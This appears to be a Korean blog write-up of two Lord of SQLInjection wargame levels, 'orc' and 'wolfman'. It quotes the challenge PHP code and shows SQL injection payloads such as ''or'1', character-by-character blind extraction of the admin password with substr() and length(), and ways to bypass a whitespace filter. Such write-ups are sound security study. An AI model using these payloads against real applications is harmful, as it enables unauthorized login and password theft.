<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27or%271
query : select id from prob_orc where id='admin' and pw=''or'1'
admin으로 로그인
문제는 result pw를 알아야한다.
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27union%20select%20substr(pw,1,1)%20from%20prob_ovc%20where%20id=%27admin
los.rubiya.kr
' union select substr(pw,1,1) from prob_ovx where id='admin
으로 했는데 NoHack이 뜬다
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20substr(pw,1,1)=.{5}
다시 처음으로 돌아가서
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%271
?' or '1 이라고 하면
Hello Admin이 뜰 것이다
query : select id from prob_orc where id='admin' and pw=''or'1'
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?%27&pw=%27or%20substr(pw,1,1)=.{5} NoHack이 뜬다. 글자 하나하나를 알아낼 수밖에 없다. 자세한 것은 nosql파트 참고
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?%27&pw=%27or%20substr(pw,1,1)=.
los.rubiya.kr
pw='or'substr(pw,1,1)='0
query : select id from prob_orc where id='admin' and pw=''or substr(pw,1,1)='0'
0을 쳤더니 Hello admin이 나온다 비번은 0으로 시작한다.
query : select id from prob_orc where id='admin' and pw=''or substr(pw,2,1)='9'
두번째 글자는 9
095
길이를 알아내기 위해 length(pw)를 이용했다
sql 문자열 자르기 left, right, substr || length 문자열 길이
sql 문자열 자르기 left, right || length 문자열 길이 아래가면 잘 설명 되어 있다. 출처 : https://chongmoa.com:45183/sql/9155 left 는 말그대로 왼쪽에서 몇번째 까지만 보여주겠다 이다. 1 2 3 left ("문..
nabaro.tistory.com
query : select id from prob_orc where id='admin' and pw='' or length(pw)='8'
8글자라고한다.
query : select id from prob_orc where id='admin' and pw='' or substr(pw,4,1)='a'
또 영문자가 나오면 너무 노가다라고 생각한다
095a
query : select id from prob_orc where id='admin' and pw='' or substr(pw,5,1)='9'
095a9
query : select id from prob_orc where id='admin' and pw='' or substr(pw,6,1)='8'
095a98
query : select id from prob_orc where id='admin' and pw='' or substr(pw,7,1)='5'
095a985
query : select id from prob_orc where id='admin' and pw='' or substr(pw,8,1)='2'
095a9852
sql 함수를 이용하여 비밀번호 구하기 문제였다.
5번 wolfman
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); //공백 불가
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman"); //admin일때 wolfman이 풀린다.
highlight_file(__FILE__);
?>
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27or%271
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27or%271
los.rubiya.kr
?pw='or'1을 써주면
query : select id from prob_wolfman where id='guest' and pw=''or'1'
Hello Guest라고 뜬다.
admin으로 로그인 해야한다.
이 문제는 3번과 비슷하다
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=2%27or%271
pw=3'or'1
정상적으로 guest로 로그인된다
pw=3은 거짓이지만 1은 참이기 때문이다.
query : select id from prob_wolfman where id='guest' and pw='2'orid='admin'
공백을 쓸 수 없다--막아놓음 %20으로도 안된다.
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=3%27orid=%27admin
query : select id from prob_wolfman where id='guest' and pw='3'orid='admin'
orid는 안된다 공백은 못쓴다..
or을 |로 써보자
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=3%27|id=%27admin
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=3%27
los.rubiya.kr
로그인은 되는데 Hello Guest로 뜬다 .??
||을 사용하자
공백을 사용하지않고 문자로 sql injection 하기!
'보안공부 > 워게임' 카테고리의 다른 글
dreamhack - csrf -1 (0) | 2021.07.23 |
---|---|
suninatas -web 1,2,3,4,5 (0) | 2021.07.17 |
mongoboard (0) | 2021.07.10 |
Mango (0) | 2021.07.03 |
XSS game 1,2,3,4 (0) | 2021.05.28 |